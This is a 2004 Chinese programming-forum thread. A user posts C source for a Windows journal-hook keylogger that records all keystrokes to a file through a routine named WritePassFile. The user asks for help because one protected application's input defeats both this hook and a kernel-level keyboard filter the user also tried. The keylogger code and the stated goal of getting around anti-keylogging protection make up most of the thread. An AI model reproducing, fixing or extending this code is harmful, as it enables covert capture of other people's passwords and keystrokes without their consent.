ringice
驱动牛犊
驱动牛犊
  • 注册日期2002-11-26
  • 最后登录2004-10-08
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
阅读:1036回复:4

极度郁闷,奇怪的键盘钩子问题,工作急用,急救。。。。

楼主#
更多 发布于:2004-09-21 16:19
我看这里人气高,所以来这里问问,WIN32SDK问题,但是用SDK似乎解决不了了。。。各位大哥帮下忙好不?

我写了个日志钩子 JournalRecordProc 。。。。

主要是用来记录所有的键盘的击键。。。。。。。今天在测试的时候发现个奇怪的问题。。。

有一个程序的主窗体,在他的窗体里的击键。。。我的程序记录下来的不正常。。。。具体就是,如果
是我在那个程序的窗体里输入的是字符,那么,不管我输入的是什么字符,键盘记录下来的都是一个字符'a',我敲一个字符,就多记录一个'a',如果我输入的是数字,那么就记录为'1',

很是奇怪。。。。。。其他的程序都没有问题。。。。都可以正常记录。。。。不知道这是为什么。。。。。想各位大哥帮我看看。。。

LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam)
{
EVENTMSG *pMess=(EVENTMSG *)lParam;



   switch(pMess->message)
     {

       case WM_KEYDOWN:

               WritePassFile(LOBYTE(pMess->paramL));
       break;


     }

  return CallNextHookEx(hHook,nCode,wParam,lParam);
}


TCHAR WINAPI GetKey(int nKey)
{
  KEYDATA kd;

  kd.kShift=GetKeyState(VK_SHIFT);
  kd.kCaps=GetKeyState(0x14);
  kd.kNum=GetKeyState(0x90);

  kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;
  kd.bCaps=(kd.kCaps & 1)==1;
  kd.bNum=(kd.kNum & 1)==1;

  if(nKey>=48 && nKey<=57)
  if(!kd.bShift) return (kd.kKey=nKey);

  if(nKey>=65 && nKey<=90)
  {
    if(!kd.bCaps)
      if(kd.bShift) kd.kKey=nKey;
      else kd.kKey=nKey+32;
      else if (kd.bShift) kd.kKey=nKey+32;
    else kd.kKey=nKey;

   return kd.kKey;
  }

  if(nKey>=96 && nKey<=105)
  if(kd.bNum)
  return (kd.kKey=(nKey-96+48));


  if(nKey>=186 && nKey<=222)
    {
       switch(nKey)
        {
         case 186:
          if(!kd.bShift) kd.kKey=';';else kd.kKey=':';
           break;

          case 187:
          if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ;
           break;

          case 188:
           if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ;
           break;

             case 189:
              if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ;
             break;

             case 190:
              if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ;
             break;

             case 191:
             if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ;
                break;

             case 192:
               if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ;
                break;

              case 219:
             if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ;
               break;

                case 220:
              if (!kd.bShift) kd.kKey='\\' ; else kd.kKey='|' ;
                 break;

               case 221:
               if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ;
               break;

             case 222:
               if (!kd.bShift) kd.kKey='\\'; else kd.kKey='\\';
               break;

            default:kd.kKey='n' ;break;
          }
     if(kd.kKey!='n') return kd.kKey;
    }
 return 0;
}

//-----------------------------------------------------------------------------------------------
void WINAPI WritePassFile(int nKey)
{

HANDLE hFile;
DWORD dwBytesWrite=1;
TCHAR lpStr,szTemp[MAX_PATH];

   hFile=CreateFile(
                     "D:\\log.txt",
                     GENERIC_READ|GENERIC_WRITE,
                     FILE_SHARE_WRITE,
                     NULL,
                     OPEN_ALWAYS,
                     FILE_ATTRIBUTE_NORMAL,
                     NULL
                   );

   SetFilePointer(hFile,0,NULL,FILE_END);
   lpStr=GetKey(nKey);
   WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);
   CloseHandle(hFile);
}


这是我的钩子。。。网上找的例子。。。应该没有问题的。。。。


另外。。。

我试过,在那个程序后面才启动我的程序,也记录不到,我用的是日志钩子。。。。不知道是不是我的方法不对了。。。。

还有。。。那程序实在是太厉害了。。。

我试过用核心态的键盘驱动过滤的程序来记录击键,就试2000下,调用SYS和VXD来直接对按键进行过滤的那种方法。。。本以为一定可以。。。谁知道。。。我晕哦。。。在那程序的窗口里记录出来的都是NONE。。。。这可是驱动的过滤啊。。。。。。。没辙了。。。高手帮忙分析下啊。。。。嫌分太少了,我可以另外开贴给。。。。
ringice
驱动牛犊
驱动牛犊
  • 注册日期2002-11-26
  • 最后登录2004-10-08
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2004-09-24 05:52
ding........
Jamol
驱动牛犊
驱动牛犊
  • 注册日期2004-08-09
  • 最后登录2005-07-22
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2004-09-24 15:05
su
snowStart
驱动老牛
驱动老牛
  • 注册日期2004-04-06
  • 最后登录2011-06-02
  • 粉丝0
  • 关注0
  • 积分95分
  • 威望19点
  • 贡献值177点
  • 好评度1点
  • 原创分0分
  • 专家分0分
地板#
发布于:2004-09-25 16:23
是不是你那个程序比较特殊???
我以前也写过,你用我这个测一测
学习,关注,交流中... [email=fengyu@163.com]Email:snowstarth@163.com[/email] [url]http://bbs.zndev.com/?a=snowStart[/url]
ringice
驱动牛犊
驱动牛犊
  • 注册日期2002-11-26
  • 最后登录2004-10-08
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2004-10-08 20:10
兄弟,谢谢了啊,给个QQ,交个朋友,

我的邮箱是ringice0080@21cn.com

麻烦你给发我邮箱里也行。。。。
游客

返回顶部